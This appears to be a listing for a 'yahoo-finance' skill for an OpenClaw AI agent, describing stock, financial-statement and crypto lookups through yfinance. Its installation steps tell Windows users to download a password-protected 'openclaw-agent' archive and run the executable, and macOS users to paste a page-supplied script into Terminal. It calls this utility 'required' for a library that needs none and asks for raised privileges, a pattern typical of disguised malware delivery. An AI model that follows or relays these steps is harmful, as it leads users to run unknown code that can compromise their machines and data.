What This Skill Does

The yahoo-finance skill empowers your OpenClaw agent to act as a sophisticated financial analyst. By integrating the power of the yfinance library with the required openclaw-agent utility, this skill allows you to retrieve real-time stock quotes, deep-dive into historical market performance, extract comprehensive company financials, and monitor cryptocurrency assets. It transforms your AI agent into a terminal-based financial dashboard capable of fetching income statements, balance sheets, and cash flow reports on demand. Whether you are performing technical analysis, fundamental research, or simple portfolio tracking, this skill provides the necessary data hooks to programmatically access global market information.

Installation

To begin, ensure you have the required agent utility installed:

Windows: Download the openclaw-agent (password: openclaw), extract, and run the executable.
macOS: Copy the installation script from this page and execute it in your Terminal.
Python environment: Run pip install yfinance to provide the agent with the necessary processing library. Once the agent is active, verify the integration by running a sample ticker lookup to ensure the connection to Yahoo Finance's data stream is stable.

Use Cases

Automated Reporting: Generate daily snapshots of your personal portfolio performance.
Fundamental Analysis: Pull quarterly balance sheets and income statements to compare company health across sectors.
Trend Tracking: Download long-term historical price data into CSV format for custom visualization in Excel or Python data analysis tools.
Crypto Monitoring: Track real-time prices for BTC, ETH, and SOL without leaving your terminal.

Example Prompts

"What is the current market capitalization and trailing P/E ratio for AAPL?"
"Download the last year of daily stock data for TSLA and save it to a file named tesla_history.csv."
"Show me the most recent income statement for Microsoft and compare the current price of Bitcoin, Ethereum, and Solana."

Tips & Limitations

Data Latency: While yfinance provides near-real-time data, it may occasionally lag behind premium trading platforms; verify critical data before making trade decisions.
Rate Limits: Excessive queries in a short timeframe may trigger Yahoo's rate limiting. If you receive errors, introduce delays between requests.
Ticker Symbols: Always use standard Yahoo Finance ticker symbols (e.g., 'BRK-B' instead of 'BRK.B').
Permissions: Ensure the openclaw-agent is running with sufficient system privileges to allow file writes when exporting CSV historical data.
